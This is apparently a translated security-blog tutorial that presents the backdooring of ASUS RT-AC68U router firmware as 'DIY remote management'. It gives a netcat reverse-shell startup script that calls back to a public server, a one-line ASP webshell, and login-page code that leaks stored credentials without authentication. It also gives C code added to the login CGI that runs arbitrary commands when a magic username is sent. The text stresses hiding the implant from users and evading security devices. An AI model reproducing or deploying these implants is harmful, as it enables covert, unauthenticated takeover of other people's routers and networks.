The previous article mainly introduced common encryption and decryption methods of terminal device firmware and led readers to understand the complete decryption process of firmware in some scenarios. This article will focus on common DIY methods of terminal device firmware and lead readers into the world of firmware DIY by modifying the firmware of ASUS AC68U router.
01 Background
The official firmware is not powerful enough, and it doesn't have the features you want? As a lazy person, do you want to restart the device remotely and quickly? With the arrival of the era of the Internet of Everything, more and more creative ideas appear in people's minds. Today, we will guide you to realize these ideas through the method of firmware modification.
02 Firmware DIY process
For knowledge about firmware, you can read our previous articles:Firmware article under 'Introduction to Internet of Things Terminal Security and Practice - Understanding Internet of Things Terminal'.
DIY is the abbreviation of Do It Yourself in English, which can be formally translated as 'do it yourself' or 'do it personally'. In simple terms, firmware DIY refers to making firmware yourself, generally referring to all actions that modify the firmware.
The purpose of firmware DIY is to meet your special needs, to do what you need, what you want, to create unique works that are unparalleled in the market and belong exclusively to you. This is the pursuit of firmware DIY. Firmware DIY can not only add some new features on the basis of the original firmware but can also reduce some unnecessary features, making the firmware simple, lightweight, and more suitable for the device, allowing the device to perform better.
Firmware is usually divided into open-source firmware and closed-source firmware.Most manufacturers do not open source their code, providing us only with the compiled and packed firmware. Only a few manufacturers will open source their source code, such as AsusWrt by Asus, and OpenWRT originated from Linksys. This article will separately explain the DIY methods for open-source and closed-source firmware.
2.1 Closed-source firmware DIY method
Firmware that is not publicly disclosed by manufacturers is called closed-source firmware. The DIY process of closed-source firmware usually has three steps:Firmware unpacking, firmware modification, firmware repacking.
Firmware unpacking:
Firmware unpacking, as the name implies, is to decompress the firmware to obtain the original files. Some manufacturers also encrypt the firmware, so it may be necessary to decrypt the firmware in this step to unpack it normally. We commonly use firmware unpacking tools such as Binwalk.
Firmware modification:
Achieve the desired functionality by modifying or adding files in the firmware.
Firmware repacking and flashing:
The operation of repacking and restoring the firmware file system after unpacking the firmware file needs to brush the repacked firmware into the target device. When flashing the new firmware, you may encounter problems such as firmware verification failure. At this time, you need to go to the official website or official forum to find other methods. Generally, there are brick recovery methods for most devices, which can be achieved throughBrickeeringFlash Firmware.
Brickeering: If the target device cannot be used normally, it needs to be restored using special methods.2.2 DIY Method of Open-source Firmware
The main process of DIY open-source firmware includes: obtaining source code and setting up the compilation environment, modifying code, and firmware compilation.
Obtaining Source Code and Setting Up Compilation Environment
Open-source device firmware source code can generally be found on some well-known code hosting platforms, such as Github, Gitee in China, etc. Below are some common addresses for device firmware source code.
AsusWRt:https://github.com/hajuuk/asuswrt(No Longer Updated)
RMerl(Merlin):https://github.com/RMerl/asuswrt-merlin(Old Version, No Longer Updated)
RMerl(Merlin):https://github.com/RMerl/asuswrt-merlin.ng(New Version)
Various IoT devices are not common X86 architecture, and their firmware compilation is generally cross-platform compilation, so we need to set up the corresponding compilation environment. Generally, compilation is done on the Linux system, and corresponding dependency files need to be installed according to different firmware requirements. This part is all documented in the Wiki or official tutorials, and you can complete the environment deployment work by referring to the official tutorials. This will not be elaborated here.
Code Modification and Firmware Compilation
The main purpose of this stage is to achieve new functions by adding or modifying code. The key is to find the appropriate location to modify the code. Especially, the logic cannot cause any problems and cannot affect the normal use of the firmware.
The official source code comes with packaging tools, so the firmware compiled using the official source code can pass the firmware verification algorithm of the device's background. By taking advantage of this feature, we can flash the firmware through the management page without actually contacting the device or using the brick-breaking method.
03 Practical Implementation of AC68U Firmware Remote Management Function Implantation
3.1 Closed-source Firmware Implantation
In fact, the AC68U firmware code is open source, but here we demonstrate it as a non-open source firmware.
3.1.1 Firmware Unpacking
The firmware of the device can usually be downloaded from the official website, and then we can unpack the firmware using Binwalk. It is recommended to use Firmware-Mod-Kit (abbreviated as FMK) for unpacking and analyzing the firmware, as FMK has functions such as unpacking and packaging firmware files, decompressing and compressing firmware file systems, and modifying DD-WRT Web Pages.
Here we see that the firmware is composed of three parts, namely TRX Firmware header, LZMA compressed file, and Squashfs (file system).
3.1.2 Modify Firmware
The idea of implanting startup scripts
Many routers use Shell scripts to start services during startup, which gives us an opportunity. If we successfully find the scripts executed during the router startup and implant the program we want to execute, then the router will execute the custom script program we define during startup, realizing the function of remote device management.
How should we find the startup Shell scripts? There are two methods:
System Log Analysis:Many routers provide log functions, and we can check the operations executed during the system operation through the system startup log;
System Process Analysis:Not all information is recorded in the system log, some system startup services cannot be logged. In this case, we can find the information by checking the system process information.
3.1.2.1 System Log Analysis
May 5 13:05:20 wsdd2[524]: error: wsdd-mcast-v4: wsd_send_soap_msg: send
May 5 13:05:21 lldpd[544]: cannot get ethtool link information with GLINKSETTINGS (requires 4.9+): Operation not permitted
May 5 13:05:21 lldpd[544]: cannot get ethtool link information with GSET (requires 2.6.19+): Operation not permitted
May 5 13:05:23 custom_script: Running /jffs/scripts/services-start
May 5 13:05:23 admin: [Software Center]-[ks-services-start.sh]: /koolshare/init.d/V01softok.sh
May 5 13:05:23 kernel: et0: et_mvlan_netdev_event: event 8 for vlan2 mvlan_en 0
May 5 13:05:23 kernel: et0: et_mvlan_netdev_event: event 13 for vlan2 mvlan_en 0
May 5 13:05:23 kernel: et0: et_mvlan_netdev_event: event 1 for vlan2 mvlan_en 0
May 5 13:05:23 admin: [Software Center]-[V01softok.sh]: skipd process is ready!
May 5 13:05:24 admin: [Software Center]-[V01softok.sh]: httpdb process is ready!
May 5 13:05:24 kernel: xhci_hcd 0000:00:0c.0: Failed to enable MSI-X
May 5 13:05:24 kernel: xhci_hcd 0000:00:0c.0: failed to allocate MSI entry
May 5 13:05:24 kernel: usb usb1: No SuperSpeed endpoint companion for config 1 interface 0 altsetting 0 ep 129: using minimum values
May 5 13:05:24 Mastiff: init
May 5 13:05:25 kernel: SCSI subsystem initialized
May 5 13:05:25 kernel: csw_retry 100
May 5 13:05:25 syslog: event: wl_chanspec_changed_action
May 5 13:05:25 syslog: skip event due no re
May 5 13:05:26 syslog: fwver: 386.5_2 (sn: /ha:04:D4:C4:BC:A2:F0 )
May 5 13:05:31 roamast: ROAMING Start...We found that the /koolshare/init.d/V01softok.sh script file runs during the system startup process.
3.1.2.2 System Process Analysis
Most devices have Telnet or SSH services. We need to enable the corresponding services, connect to the device to observe the process information during system startup, so we need to enable the corresponding service on the router's backend page in advance, then restart the router, and immediately connect after the device restarts. When performing operations, be quick, because the execution time of the Shell script is relatively short, and it will exit after completion.
By checking the system processes, it was found that /usr/sbin/getrealip.sh is executed during the system startup process. Knowing the Shell scripts executed during system startup, we can directly modify the corresponding script file and implant custom functions, such as: scheduling heartbeat packets to monitor the device's alive status, remote management, etc.
However, in actual practice, it is generally not directly modifying the current Shell script, but analyzing the system call relationships to reverse search and find the source file, directly modifying the content of the source file. This is more concealed, and the script planted during the router reset will not be lost.
When the device is in an internal network environment, it is quite difficult to remotely access the device terminal. Here, we use a Shell script to implement a remote terminal management function, allowing the device to connect back to our public network server at regular intervals through反弹. This way, we only need to listen on the public network server to connect to the internal network device and achieve remote management. The script content is as follows.
cat > /jffs/scripts/nc <<-EOF
#!/bin/sh
while true
do
sleep 60
# Remote IP
IP="1.1.1.1"
PORT=10000
nc $IP $PORT -e /bin/ash &
done
EOF
chmod +x /jffs/scripts/*
sh /jffs/scripts/nc3.1.3 Firmware Repackaging and Flashing
1. Firmware Repackaging
Repackage the firmware using FMK, and directly execute build-firmware.sh to perform the re-packaging operation. Here, you may encounter the problem that the size of the re-packaged firmware is inconsistent with the original firmware size, leading to packaging failure. The solution is to use the -min parameter for packaging.
2. Flash Firmware
When updating the firmware on the router's backend page, it was found that the firmware packaged with FMK failed to pass the firmware verification on the backend page. After consulting relevant materials, it was discovered that ASUS routers can bypass the firmware verification and update the firmware through the rescue mode.
3. Flash Firmware in Rescue Mode
Rescue Mode Reference: https://www.asus.com.cn/support/FAQ/1000814/
Here we successfully flash our repackaged firmware after using the rescue mode.
3.1.4 Actual effect
- The router connects to the public network server normally to realize the remote management function
- After restarting, the router can also connect to the public network server to realize the remote management function
3.2 Open-source firmware implantation
3.2.1 Preliminary preparation
We need to set up the compilation environment according to the official tutorial. Since ASUS has stopped updating the AC68U firmware, we use the梅林 firmware maintained by the open-source community for testing. The梅林 firmware is modified based on the official firmware. We compared the梅林 firmware and the official firmware pages and found that there are certain differences between the two firmware pages on the router. We need to modify the background page content to keep it consistent with the official firmware to improve the concealment effect.
The reason for the concealment here is from the perspective of security research. We should try our best to ensure that the device is not too different from the original page after implanting and modifying the firmware, and not be easily identified by others. Everyone knows this.
梅林 firmware background page
Official firmware background page
We can find that the梅林 background page is more than the official background pageThere is one more image, that is, a Logo, such firmware may be discovered, so we need to hide this image.
View the image name with F12 in the browser, search globally in the code, find the corresponding position of the image and modify the front-end code, recompile the梅林 firmware and flash it into the router. After modification, we have removed the梅林 Logo mark, and the page is almost indistinguishable from the official firmware.
3.2.2 Approach one Implant WebShell
Sometimes we want to modify some configuration file information on the device, but do not want to open the terminal and log in. Here we try to see if we can achieve the desired function through the graphical page.
The RT-AC68U Web page is developed in Asp, we try to add the WebShell file in the file system, so that we can directly connect through the WebShell connection tool for remote control, and achieve command execution and file management.
Steps
The one-line Asp code is as follows
<%eval request("cxaqhq")%>Write Asp code to the Web directory
Compile the firmware and flash it into the router
Actual effect
Cannot access the WebShell page address without logging in
The WebShell page hangs after logging in, and the WebShell connection tool cannot connect
After actual testing, we found that the device cannot parse our Asp code, and we suspect that it is caused by the manufacturer's truncation of the corresponding component. The method of implementing remote management through adding WebShell to the firmware has been abandoned.
3.2.3 Approach two Page to obtain username and password
Why do we need to obtain the username and password? Because we often forget the router login username and password, which brings a lot of inconvenience to our work and life. Moreover, the ASUS router background has the function of enabling SSH service, so we can obtain the login username and password, enter the router background to enable SSH service, and remotely manage the router.
Through research, we found that ASUS routers have Nvram commands that can be used to retrieve login username and password. We enabled the router's SSH service and logged into the router terminal, viewed all parameters of the Nvram command, and found the command to retrieve the Web service login username and password as follows.
Steps
Nvram username and password retrieval command
# Get login username nvram get http_username # Get login password nvram get http_passwd
Modify the login page code to add the function of obtaining username and password
View the username and password in the page (not displayed on the page, need to view in the source code)
After obtaining the username and password through Nvram, we found that in the new version firmware, the Nvram obtained password is encrypted. Since the encryption and decryption algorithm has not been found, the decryption operation of the password has not been completed yet.
Actual effect
Unauthenticated access to login username and password
The password was encrypted and could not be decrypted
3.2.4 Thought three Modify the code to add remote restart functionality
If the network is unstable and you want to restart the router, are you still preparing to unplug the power? That's too low. You can directly enter the reboot command on the login page to remotely restart your router, which is very technological.
The router's underlying system is Linux, so common Linux commands are supported, such as: Reboot. We can modify the router's CGI file to add command execution functionality, preferably in an unauthenticated CGI file, so that we can use it without logging in.
We found that it is most appropriate to add our function to the requested CGI on the login page, for the following reasons:
We can access without logging in;
Reuse the original login request function, which will not generate special request traffic and can prevent security protection devices from analyzing the traffic, improving confidentiality;
Improve code reusability, with minimal code modification.
Steps
Locate the login request CGI file and code location
Add functional code
Here we perform the simplest function, using the System function to execute the incoming parameters. The login interface requires 401 authentication using Username and Password. At this time, we modify the corresponding code, when the login username is the specified string, the password is considered as the system command to be executed.
void cxaqhq(char* str)
{
char a[200]={};
char b[200]={};
char c[] = "CXAQHQ";
int i = 0;
int len = strlen(str);
for (i=0;i<len;++i)
{
if(str[i]==':')
{
str[i] = 0;
strcpy(a, str);
strcpy(b, &str[i+1]);
break;
}
}
if (strcmp(a, c) == 0)
{
system(b);
}
} Compile firmware and flash it
This is the simplest step, the firmware is compiled successfully and flashed into the router, let's see how the actual effect is. Here we execute wget to test whether the network request is normal.
Use Dnslog to check the command execution status
As can be seen, the Dnslog backend has received our request, and the Reboot command can also be executed successfully (there is no picture to demonstrate the effect of device reboot), and we have successfully implemented remote reboot of the router without logging in, achieving the function of remote management.
Optimization
If the command executed waits for too long, it will block the main process, causing the Httpd process to crash and leading to device reboot. We optimize the code by creating a child process to execute command operations, solving the process blocking problem.
Description of System function
System() will call Fork() to produce a child process, which will call /bin/sh-c string to execute the command represented by the parameter string. After the command is executed, it will return to the original calling process. During the call to system(), the SIGCHLD signal will be temporarily suspended, and the SIGINT and SIGQUIT signals will be ignored.
Actual effect
It does not affect the normal login function of users
Reboot command and other Linux commands can be executed without logging in (you know what I mean)
04 Summary of this chapter
This article introduces several methods, processes, and problems encountered in firmware DIY, and practices them with the ASUS AC68U router as a case, ultimately achieving remote management of the device.That's all for the part of playing with IoT firmware in this issue of 'Introduction to IoT Terminal Security and Practice'.
Threats to IoT terminals are a major hot topic in the research of IoT terminal security. The attack surface for IoT terminals includes firmware, wireless protocols, hardware, and other aspects. Therefore, our subsequent security research on devices will focus on firmware, wireless protocols, and hardware security (such as Web services of firmware, Upnp services of firmware, analysis of wireless protocols like Wifi protocol, etc.).
In the next issue, we will release the third chapter of the series 'Introduction to IoT Terminal Security and Practice'Practice of Threat Modeling for IoT TerminalLooking forward to it!
If you have any technical questions about this series of articles, you can directly send a private message to the editor or comment below. The editor will forward them to the author for an answer!
Reference links:
评论已关闭